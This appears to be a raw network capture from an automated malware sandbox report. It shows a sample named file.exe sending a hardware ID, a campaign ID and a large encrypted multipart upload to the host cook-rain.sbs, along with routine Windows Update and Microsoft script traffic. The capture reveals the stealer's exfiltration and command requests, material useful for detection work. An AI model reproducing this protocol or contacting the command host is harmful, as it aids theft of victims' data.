name="pid"1--6LL4A0WNXUJContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6LL4A0WNXUJ
2024-11-20 12:27:25 UTC	979	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c4adkrqgblb83ckqm894hecosv; expires=Sun, 16-Mar-2025 06:14:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fg7iZD0M4LjQYeTVBeAhhUtyBjShHnnIcCqkqeMyRQQnNmGeYlNMrKrWVNcihhxD0Dy2jEZBho6npwEDnIjwv0zsWpPUXdGzosLeTtN00V%2BszEnf7P9d7YtmpwHa4j%2Fp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586f1d0830c40e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1628&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2093&delivery_rate=1908496&cwnd=173&unsent_bytes=0&cid=d639b56ac2b5b39d&ts=375&x=0"
2024-11-20 12:27:25 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 12:27:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49711	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:26 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IDEAFERVUDSWWSH4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570681 Host: cook-rain.sbs
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: 2d 2d 49 44 45 41 46 45 52 56 55 44 53 57 57 53 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 41 37 42 34 34 44 32 34 37 31 31 30 45 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 49 44 45 41 46 45 52 56 55 44 53 57 57 53 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 44 45 41 46 45 52 56 55 44 53 57 57 53 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --IDEAFERVUDSWWSH4Content-Disposition: form-data; name="hwid"C6A7B44D247110E663CFCF7E6C45F838--IDEAFERVUDSWWSH4Content-Disposition: form-data; name="pid"1--IDEAFERVUDSWWSH4Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: b3 25 43 83 b5 2a 00 ce 1c 8a b4 4b 29 36 bc 15 64 4b ed 5c 9e 0b 15 ca b1 a1 2e f2 8e 77 4d 1a e8 ab c1 d9 f9 6e 15 83 ea 3f fe cc f4 9d 0b 74 e5 03 b1 2b f3 6f ff 6f 49 64 ae 14 90 9d d5 fc bd ee c8 95 18 3f 6d 08 8a 42 d1 4c 8c 3a 12 78 53 8c fb 95 d6 a7 5b fa 23 00 fd 0b 3b a5 41 91 ba 23 94 7c f0 5a 26 a0 4a f1 7b f0 80 f7 8d 2d d9 5a 68 78 54 30 e8 65 2a 54 7b ef fb e1 7e 20 28 4e 49 bd b7 d3 2b 89 8c ce cb cd 4c b3 df d4 f5 06 bf 8e 1a 17 ae 99 67 9a 9f df f0 16 a7 af 48 99 a7 3a a5 0b 24 dc a4 c4 4c db 81 4c cd 9d 15 3b fb 30 db 83 28 76 4a 33 77 b4 34 2f 96 e3 92 83 0b 8d de 8c 1d a2 9f 68 2d da 7e 82 23 e2 d5 af 21 d9 4e c8 83 cd 29 03 4a 12 af cd 37 4a 32 92 59 ae 81 2d 6e 9b bf 42 8b 52 45 af 60 16 88 5f 1c 66 8d 35 22 e9 a8 c2 c7 2a ee a1 9a Data Ascii: %CK)6dK\.wMn?t+ooId?mBL:xS[#;A#\|Z&J{-ZhxT0eT{~ (NI+LgH:$LL;0(vJ3w4/h-~#!N)J7J2Y-nBRE`_f5"*
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: fc 62 d8 07 f5 56 a9 55 1c 8e e0 c8 8f e4 fd 0c 6f 26 8b 07 d3 c4 a9 a7 1e f0 b4 a5 d5 af ab 29 31 0d f6 4b 46 14 99 ad 67 3c 1c 34 43 c6 7e 5c ea 59 a5 da 44 08 0f 6d 9d ee 75 bd 2e c8 61 11 10 31 90 ec 2d 74 b9 dc 07 1a 71 18 08 4d 64 9b 77 a5 20 48 41 bc d7 cc 39 89 37 3a a8 e8 aa 62 b4 36 ba ab 3f ec fe d4 57 a3 89 fe b6 0d 7a 91 a5 72 fb 79 96 04 3a 8c c0 3d 50 47 ff 7d f3 72 2c 99 69 50 c2 9e 99 31 f2 5d 7b 63 6a c5 ee 93 82 23 60 1f 81 1b 1b e6 10 fe ea 77 67 cf ed 5f 0f 90 ef e9 9a 2e 5e a9 62 6a cb f5 0d 0e 1a 7e 35 3b 3e 2e 7c b9 e2 51 d0 62 b3 3a 27 ce cb 15 f2 d6 80 33 4e 90 30 7e 98 3b 0f 96 ec a2 33 73 0f fb c5 2d 10 5b 10 72 cb ac 9f 3f b1 d0 a0 93 2b ce 60 25 57 97 7c 28 0e c5 78 6b 74 bb c9 c0 b3 fc c6 31 eb 07 2f 7c 7c 38 74 84 ad 48 55 Data Ascii: bVUo&)1KFg<4C~\YDmu.a1-tqMdw HA97:b6?Wzry:=PG}r,iP1]{cj#`wg_.^bj~5;>.\|Qb:'3N0~;3s-[r?+`%W\|(xkt1/\|\|8tHU
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: b0 2e 8f c7 cf d2 59 fd d5 fe 02 d8 15 69 8b 24 69 11 85 4f 5f cc c5 60 6f 05 10 1a 18 cb 8e 85 0a cd 91 63 c0 4a cf 0a 14 69 21 b4 2d 4a 68 c2 e7 d1 99 de 5a 85 80 13 54 a5 a8 5c 2b b3 b5 1f bc d3 82 a9 81 67 4c f5 c8 ce 21 27 04 71 7a ae 21 48 28 3f 79 7d ec 93 3e 09 11 ec bf b0 ff 4a bb c0 2b 6f fd 62 8c 64 95 ad 2d 1d f0 50 33 20 8b 64 f8 aa c2 6f f1 40 56 ff 18 06 19 82 08 a8 e6 79 e7 2e a7 b7 3b d9 08 75 f8 da 3e 30 b1 7b b9 ef 12 bd 20 c7 d2 53 9e 2c f3 93 eb 16 3a a6 2a 18 bc 5b 0e 7c 4f 4a 8d 4d 8a 93 9b 34 ab 13 2a 27 06 85 27 05 1b 25 b0 f1 21 8f 8b ca 1a 4d f8 77 e6 14 2c 48 95 d7 33 e9 20 54 55 b1 40 b6 0b 86 37 29 fe 83 ad 9e 14 a0 92 55 1b ad bb 74 4d 02 11 c7 06 bc b2 88 bc 3b 62 ec 37 3b 19 ab b0 0f 16 8f e0 f8 c1 92 2c f1 d3 de a1 3f 8b Data Ascii: .Yi$iO_`ocJi!-JhZT\+gL!'qz!H(?y}>J+obd-P3 do@Vy.;u>0{ S,:[\|OJM4''%!Mw,H3 TU@7)UtM;b7;,?
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: 86 ef 10 9d a8 e3 d6 50 52 73 97 f7 a4 49 46 93 0b 6e b8 b6 46 04 b3 15 3d 78 44 c1 b1 bd ed 1f 22 82 d8 df 79 8b 3a ea 6c e7 ec 1b dc d0 8d cb aa 94 26 c6 bd df f6 e5 1e e4 3c 1f 95 17 de c7 33 47 18 a4 ef ff 92 54 e6 ec 3c f2 1b 71 b9 a3 5a a5 89 3b 57 0f e4 07 ee ec b0 cf ca 49 35 07 0a 02 14 82 84 b0 0d fb 6f 15 94 8f 2d 1a 73 77 4b 1c b1 fe 52 90 53 02 82 cc 4d db a2 ed de d7 4e c7 4d 69 5c 6d 0e 12 ae 71 58 3e 13 fe 70 04 22 aa f3 42 92 50 bd cf d9 58 66 8b 9b bf fd ae 7b fe 7f 6f 75 4b 7e 2e 5d 26 48 63 b8 dc a1 09 22 9d 54 a3 5e 1c 8e 34 fe 4b 86 e8 a3 c4 4d 41 25 5e fa 2f e4 fd 1b bd 26 ca f9 06 27 9d 14 c2 db 6f 06 6c df c0 71 52 ed 3b a4 df 01 cc 52 6a 0b 36 36 b8 20 9e d0 68 16 89 43 6f ec bb 54 32 d6 79 35 36 73 d9 d5 0c 9f 0c 93 3c 49 32 3f Data Ascii: PRsIFnF=xD"y:l&<3GT<qZ;WI5o-swKRSMNMi\mqX>p"BPXf{ouK~.]&Hc"T^4KMA%^/&'olqR;Rj66 hCoT2y56s<I2?
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: 31 27 de 16 bd ab 2a 5e 68 60 5a 9e 76 64 19 b5 c1 ff c1 28 0a bb 4b 42 e4 dd 83 44 35 d3 16 be 22 5f 97 c1 fe 8d 30 8c 7f 4a 47 56 21 ab 53 b8 a9 72 7c 6b ae a5 79 f3 1b 1a 56 a4 b8 3b 46 f7 c9 e4 5e 55 a8 70 13 eb 91 88 74 3f 5e 80 24 45 3d f9 4f 62 4a 37 22 b8 1a 34 d7 f8 0a b2 88 09 82 e4 12 b0 ac 72 9f dc f9 5f a3 84 8b 2a 42 bd 95 ee fa c4 61 97 65 31 f7 52 e4 dd 1d 63 f4 ea a4 f2 03 56 4f be 0a 11 fd 21 76 c2 8d 30 52 93 f8 04 1e 2b e6 ce 29 4f c4 12 c1 5d a3 7c 46 73 4b bf 92 03 df fb 0b 64 9c bd e4 0d e8 da 98 e4 69 17 1d 2e 3f 79 4d e7 78 a1 98 f1 8d 03 8c c2 53 66 64 f3 50 59 66 ac a8 96 ce 4c b8 25 ef e6 61 d4 09 ee 8c f2 37 9a 0c 4b 85 49 3e 33 b2 84 2b bf 34 18 5c 0d e1 b4 b4 6e a3 31 f5 04 77 8c 89 1e 60 7c bd 09 70 cc a1 e5 6f 8f b6 ec d8 Data Ascii: 1'^h`Zvd(KBD5"_0JGV!Sr\|kyV;F^Upt?^$E=ObJ7"4r_Bae1RcVO!v0R+)O]\|FsKdi.?yMxSfdPYfL%a7KI>3+4\n1w`\|po
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: 5a 6d af 95 3d cd e6 2a 52 4c 00 97 65 bd 96 eb da b6 c3 82 29 69 16 bf 17 77 c9 32 a7 f4 ee 85 28 a3 89 b5 cb 0c ee 85 c6 5e 2a 26 22 f1 20 1a 12 8b 1b a6 5c 05 3d 15 57 f3 25 af b1 2f 80 f5 92 e5 f3 16 9c 3f 2b af a5 f5 f1 f8 c8 47 d5 eb cb d5 c9 a7 d7 03 7f 93 d6 b9 4f 2f 8b 52 15 b4 f3 7b c4 38 56 81 2c f5 b9 83 4c fe d3 91 47 62 e7 83 16 5a e3 b6 d4 a3 a9 d6 61 1d 50 8d 4b 43 7c 96 dd 5f ff fd 75 8e 6e f7 c6 17 82 8f 54 bb 4a ca fd 5b 7c 9a 56 eb 82 a6 db 68 69 b8 a1 d7 b0 e0 f8 ae 32 73 2c 2d ac a2 db 50 6a e6 bc ab ef 99 dd b5 1e 01 57 33 bf 9c cb 17 78 2a 3f 09 0f 07 dc eb 34 ed b9 58 34 f4 20 11 4f c6 b7 54 9f 9f 12 89 fa a7 97 c6 fd a3 74 01 d2 25 15 54 aa a4 ca 96 ea c5 f3 64 9e a8 ff ce 6f 41 6b 6a 29 b2 d9 fd 54 b1 a7 54 f9 ae 87 9d 77 e0 0d Data Ascii: Zm=RLe)iw2(^&" \=W%/?+GO/R{8V,LGbZaPKC\|_unTJ[\|Vhi2s,-PjW3x*?4X4 OTt%TdoAkj)TTw
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: 8f 3e 97 21 94 be 1b 9f 06 2a 77 10 8a 5d 66 1d ac 9d 3e 67 4f eb 04 9e 93 c1 72 0f ee 5b 2c 0f 8d 07 50 eb 02 0f 98 ca ca de 86 d1 86 13 95 ed 1f 7a 86 25 b2 42 17 32 74 01 1c 11 12 70 c4 ea 8b b1 18 8c 58 c5 31 08 bc bc 11 3c fa 71 f9 af 6d cb 9c 0e dc 71 0a 4f 88 16 51 86 7e 4d 94 95 03 57 0f d9 cc f9 10 a0 7a ad 72 59 75 aa 7e 71 b5 f2 d5 a7 b2 35 57 55 76 87 d5 5d cb 6f 7e 68 a4 f5 cd 30 b5 6d c6 bf 0a ac e0 bc ad 10 7e 01 22 4e 05 62 47 d4 87 59 0a 80 b1 03 3d 86 0a 21 5d cc e0 2f 41 09 27 f2 04 04 88 95 d8 e5 80 d2 54 46 bf f0 4f 26 23 10 10 ec a9 80 4a fe e3 68 d8 e1 84 fa 95 e1 d5 f5 98 cc 9d 2b 5b d5 c1 4c 9f 9d ae 13 dd 58 1f f6 d9 dd 73 7b 40 d3 ec f4 b2 73 46 16 bc 90 f2 43 f7 8e 62 ec 35 bc 1f b6 53 09 c8 86 a9 ed 0f c8 62 b1 57 19 21 cc 69 Data Ascii: >!*w]f>gOr[,Pz%B2tpX1<qmqOQ~MWzrYu~q5WUv]o~h0m~"NbGY=!]/A'TFO&#Jh+[LXs{@sFCb5SbW!i
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: fe 4d 8b 7e c1 b2 44 ec 7e f7 ae f8 b5 fa 93 10 3a a7 81 cc 5e bc d7 a5 2a 15 94 ff 34 f4 c2 6b 96 4b 4b 87 c0 05 74 fb 8e ff 2b 59 e9 c8 10 54 4e 93 bf 7e 25 c0 fd ae 20 4b 1d 80 6c de dc fa bf 37 06 00 da ad 92 77 5f dc da b4 a1 a0 c2 52 c5 a8 b6 e8 54 cb 5b e1 54 5f 5e d5 91 a1 0b b1 a2 d3 02 46 e9 d2 29 5d fc 2c 93 14 39 89 9b bc aa 5c 4e ab 52 05 87 60 39 1a 64 76 ab bd 2f ca b1 3c 9b 8f f3 fe 56 34 b7 04 be 82 d3 a6 7f bc 96 64 f1 ff 27 05 54 41 21 fc eb 22 00 e8 7e d7 69 8e f7 67 b1 d0 ee 8d 3e 01 f0 8a ee 84 b8 7f 92 17 9d 2d db 05 c1 7f 7c 06 0b 2f 66 10 a6 1d 8c 16 94 f1 18 2a c1 17 6a dd f8 7b 59 ed 24 55 05 7d fa 24 f5 c4 34 ee 8b 23 4d 1f 5d 62 35 26 9b 1e 7e ae 6d 74 ef 77 ed a5 0c c5 e8 fb 81 b2 d1 9a 2a 12 a5 5f c6 b3 60 e3 5f b6 cc fb b8 Data Ascii: M~D~:^4kKKt+YTN~% Kl7w_RT[T_^F)],9\NR`9dv/<V4d'TA!"~ig>-\|/fj{Y$U}$4#M]b5&~mtw*_`_
2024-11-20 12:27:26 UTC	15331	OUT	Data Raw: c9 29 4b d1 6e 8c c5 ae a3 4b 9c 7e 2e 3c c6 d7 13 32 52 07 a3 ff 33 62 28 0b 99 30 53 f4 76 60 0a ee d4 ba 76 4b c1 7d 22 05 45 26 ff ae 70 bc 34 9b 4a 4a 16 22 b6 6f 1e 9f ec bf 3a ec b1 7b e7 11 5a 7e 4a b2 1d a1 31 72 8f e4 e5 de 3d ef 82 ac 7e 26 f1 71 82 c6 15 ea f0 b6 b6 f5 d1 14 72 10 62 37 ea 4f d4 e1 62 29 c8 4e 0f 42 ce e6 1a c4 c1 c5 97 78 f1 14 bc e2 b3 3b a8 6d e0 25 50 a0 cb 73 09 3b a5 c2 4f 0e fe 52 49 46 00 3e 8e 06 d7 94 aa cc 96 02 dc 44 99 69 74 26 92 26 86 92 15 66 55 fb 7f 91 c8 48 9f 18 1d b9 cf 69 ab b4 e5 bc 35 9e f0 a3 4a 8d 84 b6 9f 6f c9 a8 66 69 65 56 4f 6b 0d 25 16 6f 1e 08 66 31 9c 7c 8c 42 27 3c 0c 42 fb 39 fe f3 c3 08 94 19 6b 5e 76 c9 74 75 d8 15 8e b6 97 58 14 ee 07 71 f2 a0 88 fc a7 61 7e 0f 99 73 bf 3a a8 37 74 f0 5b Data Ascii: )KnK~.<2R3b(0Sv`vK}"E&p4JJ"o:{Z~J1r=~&qrb7Ob)NBx;m%Ps;ORIF>Dit&&fUHi5JofieVOk%of1\|B'<B9k^vtuXqa~s:7t[
2024-11-20 12:27:29 UTC	990	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r3fk0aiiolrbond7n4ajsqlip6; expires=Sun, 16-Mar-2025 06:14:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2Be0vsOGl3kZEzElnnXBx9j%2BWqD7RiR0tgP3mg1nOy2qh8tqkcTqwCuI6J9u9bZlzlG%2FDgB63ggfLRc%2FIb7EdK7iyOoyNfFQV1YoGdfjvbXODstBP4ubjUxqVRlqvAy5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586f25dc0b1a40-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1783&sent=321&recv=595&lost=0&retrans=0&sent_bytes=2828&recv_bytes=573223&delivery_rate=1587819&cwnd=195&unsent_bytes=0&cid=3e9f23ee2a1349fe&ts=2875&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49713	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:30 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 12:27:30 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 43 36 41 37 42 34 34 44 32 34 37 31 31 30 45 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=C6A7B44D247110E663CFCF7E6C45F838
2024-11-20 12:27:32 UTC	985	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1kvldvlkff5i4dv1tgoqbv960g; expires=Sun, 16-Mar-2025 06:14:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Di2sh18AOir317%2F0i7WSI0z7nYWf2oVetA%2B1hpaEiCkvTw%2Bj5ApTlcj2JXAp%2By7VpKuaD2bC3jFu7aiBPJqKIju6RdEN69sVBrt3Xrmvz8fKt%2B8qO9BUXpCWcbIYMVwf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586f3c6e3e4257-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2456&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=985&delivery_rate=1172219&cwnd=210&unsent_bytes=0&cid=23498807ea7ddf41&ts=1813&x=0"
2024-11-20 12:27:32 UTC	214	IN	Data Raw: 64 30 0d 0a 4e 6d 56 6a 57 73 78 51 31 6e 61 57 34 59 58 70 50 5a 50 2f 65 2f 54 54 58 2b 32 5a 75 66 77 4d 79 6b 50 6f 37 75 69 75 7a 50 70 74 48 6b 45 76 37 6d 72 30 48 75 4b 56 39 64 4e 68 76 4b 4e 55 78 65 74 71 77 36 75 49 79 53 4c 37 63 74 76 41 32 5a 69 51 31 56 6b 44 42 51 62 6a 4e 4c 4d 51 75 49 54 39 6a 42 2b 2f 33 52 32 41 38 57 58 64 74 5a 75 5a 4c 76 42 79 6c 63 4b 54 6a 4c 6e 59 44 45 63 4c 4c 72 67 67 37 43 71 35 76 61 72 59 42 61 62 52 53 63 58 6d 63 64 79 6f 69 74 49 39 2f 42 2f 48 6e 5a 7a 4c 72 5a 64 71 53 68 45 37 6f 6a 53 35 47 37 69 45 2f 59 77 66 76 39 30 64 67 50 46 6c 33 62 57 62 6d 53 37 77 63 70 57 7a 0d 0a Data Ascii: d0NmVjWsxQ1naW4YXpPZP/e/TTX+2ZufwMykPo7uiuzPptHkEv7mr0HuKV9dNhvKNUxetqw6uIySL7ctvA2ZiQ1VkDBQbjNLMQuIT9jB+/3R2A8WXdtZuZLvBylcKTjLnYDEcLLrgg7Cq5varYBabRScXmcdyoitI9/B/HnZzLrZdqShE7ojS5G7iE/Ywfv90dgPFl3bWbmS7wcpWz
2024-11-20 12:27:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49712	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:31 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3dGkyd5ARhC66Bm&MD=gp69vOxd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 12:27:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5e72d9ea-dd3b-4270-9e35-05a3b6b15d66 MS-RequestId: d8e9bef5-4b40-421a-95a6-ac4153785449 MS-CV: 0/6XfwRfZ0enFUVV.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 12:27:31 GMT Connection: close Content-Length: 24490
2024-11-20 12:27:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 12:27:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49736	13.107.246.45	443	2884	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:51 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 12:27:51 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:51 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 19337 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4aa39486-701e-007b-0f1a-3b6206000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T122751Z-1777c6cb754dqb2khC1TEBmk1s00000009gg00000000cchy Accept-Ranges: bytes
2024-11-20 12:27:51 UTC	16384	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return 